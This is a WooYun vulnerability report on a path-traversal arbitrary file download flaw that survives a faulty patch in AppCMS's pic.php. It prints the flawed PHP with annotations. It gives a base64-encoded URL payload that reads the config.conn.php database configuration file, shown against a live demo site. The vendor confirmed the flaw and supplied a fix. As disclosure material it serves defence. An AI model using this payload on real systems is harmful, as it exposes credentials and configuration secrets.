当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-041173

漏洞标题:appcms最新补丁处理不当仍然任意文件下载

相关厂商:appcms.cc

漏洞作者: lxj616

提交时间:2013-10-28 17:59

修复时间:2014-01-26 18:00

公开时间:2014-01-26 18:00

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-28: 细节已通知厂商并且等待厂商处理中
2013-10-28: 厂商已经确认,细节仅向厂商公开
2013-10-31: 细节向第三方安全合作伙伴开放
2013-12-22: 细节向核心白帽子及相关领域专家公开
2014-01-01: 细节向普通白帽子公开
2014-01-11: 细节向实习白帽子公开
2014-01-26: 细节向公众公开

简要描述:

虽然 appcms 对之前的第一次任意文件下载 进行了修补,但是修补方式不当,导致仍然能够任意文件下载(官方演示站再次验证)

详细说明:

经补丁后的文件pic.php如下(注释为本人做的说明)

<?php
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
$img_url = base64_decode($_GET['url']);
$_GET['url']=strtolower($img_url); //解码后相当于没有编码
$_GET['type']=strtolower($_GET['type']);
$arr_a=array('jpg','jpeg','png','gif'); //扩展名白名单
$down=0; //down=1时标记审计策略通过
foreach($arr_a as $b){ //循环审计
if(strstr($_GET['url'],$b)){ //如果url里包含白名单jpg字符串即为审核通过,问题就出在这里,url里只要出现jpg就可以,那么xxx/xxx.jpg是合法的,但是呢,假定xxxjpg/../xxx.php会通过判定!
$down=1;
}
}
if($_GET['type']=='php') $down=0; //完全没有用处,不是根据type判定的
if($down==1){
$shffix = trim($_GET['type']); //下面没有任何限制了,直接文件读取了
header("Content-Type: image/{$shffix}");
readfile($img_url);
}else{
die('image type forbidden');
}
} else {
die('image not find!');
}
?>


结合以上分析,构造一下即可任意文件下载
/pic.php?url=MWpwZy8uLi9jb3JlL2NvbmZpZy5jb25uLnBocA==&type=jpg
注:示例的base64为: 1jpg/../core/config.conn.php
证明在漏洞证明里

漏洞证明:

1.先证明官方演示站点已经打过补丁,即不存在之前的老漏洞

kele8_1.jpg


2.证明本次漏洞的存在

http://www.kele8.cn/pic.php?url=MWpwZy8uLi9jb3JlL2NvbmZpZy5jb25uLnBocA==&type=jpg


kele8_2.jpg


kele8_3.jpg


修复方案:

严格过滤url中不能有特殊字符
话说漏洞要记得到乌云---确认----给高危RANK---然后自己留着别公开,不然超时或者直接标记忽略的话---会直接向公众公开---,其实只要确认后不公开,不用着急发补丁发公告的,反正别人也看不到,下一版本出来时默默地顺便补上就是了,然后再公开什么的

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-10-28 21:21

厂商回复:

已提供新的修复代码

最新状态:

暂无